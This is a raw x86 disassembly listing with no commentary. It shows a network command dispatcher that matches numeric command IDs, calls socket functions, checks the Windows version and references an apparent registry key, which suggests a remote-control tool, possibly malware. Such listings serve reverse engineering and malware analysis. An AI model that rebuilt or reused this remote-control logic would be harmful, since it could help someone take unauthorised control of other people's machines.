push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x48]
mov eax, dword [ebx]
test eax, eax
jne 0x100362a5
mov eax, 0x100d520e
push eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
jne 0x100362bb
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x248
call fcn.100c0200
add esp, 0x1c
jmp 0x1003a351
push str.110022
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10036350
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100362ff
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10036328
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x234
call fcn.100c0220
add esp, 0x10
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1003634b
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110023
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1003654b
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1003637c
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x4c]
push eax
push 1
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.100185cf
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100363cb
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x100363db
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100363eb
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100363fe
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
call fcn.1003e2b1
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10036433
push ebx
call fcn.100b8c45
add esp, 4
push 0x80000301
push 0
push 0
fild qword [ebp - 0x4c]
fstp qword [ebp - 0x54]
push 0x80000601
push dword [ebp - 0x50]
push dword [ebp - 0x54]
push 2
mov ebx, 0x68
call fcn.100bf250
add esp, 0x1c
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], edx
fld qword [ebp - 0x64]
call fcn.10001795
mov dword [ebp - 0x2c], eax
push 0x80000301
push 0
push dword [ebp - 0x2c]
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x28]
push 0x100d53a2
push dword [ebp - 0x44]
mov ecx, 3
call fcn.10001088
add esp, 0xc
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100364cf
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x100364e2
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10036508
push ebx
call fcn.100b8c45
add esp, 4
lea eax, [ebp - 0x4c]
push eax
mov eax, str.110023
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10036536
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10036546
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110024
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x100365f0
call fcn.1003aba1
push reloc.WS2_32.dll_connect
push 0
push str.110024
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x14]
push dword [ebp - 0x44]
mov ecx, 2
call fcn.1000173e
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100365b0
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
lea eax, [ebp - 0x48]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100365e1
push ebx
call fcn.100b8c45
add esp, 4
mov dword [0x100e6a6d], 0
jmp 0x1003a351
push str.110025
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10036684
call fcn.1003e7cf
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10036624
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1003664a
push ebx
call fcn.100b8c45
add esp, 4
lea eax, [ebp - 0x48]
push eax
mov eax, str.110025
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1003666f
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1003667f
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110026
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x100369b6
lea eax, [ebp - 0x30]
push eax
push 3
push 0x100e6a41
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x5c]
mov ebx, dword [ebp - 0x30]
call fcn.100027cb
xor ecx, ecx
push eax
lea eax, [ebp - 8]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x10036950
mov ebx, dword [ebp - 0x30]
call fcn.100020b9
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x100366fb
push 0x33e6
push 0x403116f
push 4
call fcn.100b8c4b
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10036718
push 0x33e6
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x30]
call fcn.100020b9
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x10036749
push 0x33e6
push 0x403116f
push 4
call fcn.100b8c4b
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10036766
push 0x33e6
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x30]
call fcn.100020b9
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x1003679a
push 0x33e6
push 0x403116f
push 4
call fcn.100b8c4b
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x100367b7
push 0x33e6
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x10
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x30]
call fcn.100020b9
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x100367eb
push 0x33e6
push 0x403116f
push 4
call fcn.100b8c4b
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10036808
push 0x33e6
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x14
mov dword [ebp - 0x50], ebx
mov ebx, dword [ebp - 0x30]
call fcn.100020b9
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x1003683f
push 0x33e6
push 0x403116f
push 4
call fcn.100b8c4b
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x1003685c
push 0x33e6
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x54], ebx
mov ebx, dword [ebp - 0x30]
call fcn.100020b9
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x10036893
push 0x33e6
push 0x403116f
push 4
call fcn.100b8c4b
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x100368b0
push 0x33e6
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x58], ebx
push 0x100dec32
mov ebx, dword [ebp - 0x58]
push dword [ebx]
push 0x100dec39
mov ebx, dword [ebp - 0x54]
push dword [ebx]
push 0x100dec39
mov ebx, dword [ebp - 0x50]
push dword [ebx]
push 0x100dec39
mov ebx, dword [ebp - 0x4c]
push dword [ebx]
push 0x100dec39
mov ebx, dword [ebp - 0x48]
push dword [ebx]
push 0x100dec39
mov ebx, dword [ebp - 0x44]
push dword [ebx]
push dword [ebp - 0x34]
mov ecx, 0xd
call fcn.10001088
add esp, 0x34
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
push eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x10036932
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x34], eax
push 0
mov ebx, 0x350
call fcn.100bab70
add esp, 4
pop eax
pop ebx
pop ecx
jmp 0x100366c6
add esp, 0xc
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x10036966
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110026
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100369a1
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100369b1
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110027
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10036ade
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100369e2
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
push 0x100e6a41
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x28]
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10036a1e
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x10036a83
push reloc.WS2_32.dll_connect
push 0
push 0x100dec44
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110026
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10036a6e
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10036a7e
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x10036ad9
push reloc.WS2_32.dll_connect
push 0
push 0x100dec51
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110026
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10036ac9
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10036ad9
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110029
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10036c06
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10036b0a
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
push 0x100e6a41
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x2c]
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10036b46
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x10036bab
push reloc.WS2_32.dll_connect
push 0
push 0x100dec65
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110026
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10036b96
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10036ba6
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x10036c01
push reloc.WS2_32.dll_connect
push 0
push 0x100dec72
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110026
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10036bf1
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10036c01
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110028
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10036d2e
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10036c32
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
push 0x100e6a41
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x24]
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10036c6e
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x10036cd3
push reloc.WS2_32.dll_connect
push 0
push 0x100dec86
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110026
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10036cbe
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10036cce
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x10036d29
push reloc.WS2_32.dll_connect
push 0
push 0x100dec93
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110026
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10036d19
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10036d29
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110086
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10036e56
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10036d5a
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
push 0x100e6a41
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x6c]
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10036d96
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x10036dfb
push reloc.WS2_32.dll_connect
push 0
push 0x100deca7
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110026
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10036de6
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10036df6
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x10036e51
push reloc.WS2_32.dll_connect
push 0
push 0x100decb4
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110026
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10036e41
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10036e51
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110030
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10037183
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10036e82
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d53a2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10036ebd
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x190
call fcn.100ba5d0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10036ee3
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x10036f05
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x10036f01
imul eax, dword [ebx]
jmp 0x10036ef6
mov ecx, eax
test ecx, ecx
je 0x10036f24
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x10036f1d
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x10036f0b
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x1c]
call fcn.100027cb
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 4
jne 0x1003717e
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x10036f6d
push 0x3a21
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x10036f9d
push 0x3a21
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 2
cmp eax, ecx
jl 0x10036fcd
push 0x3a21
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 3
cmp eax, ecx
jl 0x10036ffd
push 0x3a21
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x54], 0
push 0
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x58], 0
push 0
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x5c], 0
push 0
lea eax, [ebp - 0x5c]
push eax
push 1
push 2
mov dword [ebp - 0x60], 0
push 0
push dword [ebp - 0x60]
push 1
push 1
push 1
push dword [ebp - 0x50]
push dword [ebp - 0x4c]
push dword [ebp - 0x48]
push dword [ebp - 0x44]
push 0x100e6a41
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x20]
mov dword [ebp - 0x64], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x1003709a
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x100370ad
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x100370c0
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x64], 0
je 0x10037128
push reloc.WS2_32.dll_connect
push 0
push 0x100decc8
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110026
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10037113
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10037123
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003717e
push reloc.WS2_32.dll_connect
push 0
push 0x100decd5
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110026
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1003716e
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1003717e
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110034
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10037202
call fcn.1003aba1
push reloc.WS2_32.dll_connect
push 0
push str.110034
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100371f3
push ebx
call fcn.100b8c45
add esp, 4
mov dword [0x100e6a6d], 0
jmp 0x1003a351
push str.110035
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x100372a7
call fcn.1003aba1
push reloc.WS2_32.dll_connect
push 0
push str.110035
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x14]
push dword [ebp - 0x44]
mov ecx, 2
call fcn.1000173e
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10037267
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
lea eax, [ebp - 0x48]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10037298
push ebx
call fcn.100b8c45
add esp, 4
mov dword [0x100e6a6d], 0
jmp 0x1003a351
push str.110037
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1003733c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100372d3
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x100372fc
mov eax, 0x100d520e
push eax
push reloc.WS2_32.dll_connect
push 0
push str.softwaremicrosoft_remotoGsafe_
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x6a4
call fcn.100b9d90
add esp, 0x28
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10037337
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110039
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10037821
push 0x80000301
push 0
push 0xa
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x100e6909]
test eax, eax
jne 0x10037376
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x134
call fcn.100bae70
add esp, 0x1c
mov dword [ebp - 0x44], eax
push str.Windows_XP
push dword [ebp - 0x44]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100373ba
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x10037440
push 0x80000301
push 0
push 0x13
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x100e6909]
test eax, eax
jne 0x100373e5
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x134
call fcn.100bae70
add esp, 0x1c
mov dword [ebp - 0x4c], eax
push str.Windows_Server_2003
push dword [ebp - 0x4c]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1003742c
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x10037440
mov eax, 1
jmp 0x10037445
mov eax, 0
test eax, eax
je 0x1003781c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10037460
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x100ded04
push dword [ebp - 0x44]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100374a4
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x10037529
call fcn.100420f0
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x100374c9
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100374ef
push ebx
call fcn.100b8c45
add esp, 4
lea eax, [ebp - 0x48]
push eax
mov eax, str.110039
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10037514
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10037524
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003781c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1003753c
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x50], eax
push 0x80000301
push 0
push 8
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x50]
test eax, eax
jne 0x10037577
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x134
call fcn.100bae70
add esp, 0x1c
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x100375a3
push ebx
call fcn.100b8c45
add esp, 4
push 0x100ded0d
push dword [ebp - 0x54]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x100375da
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x58], 0
je 0x1003781c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100375fa
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
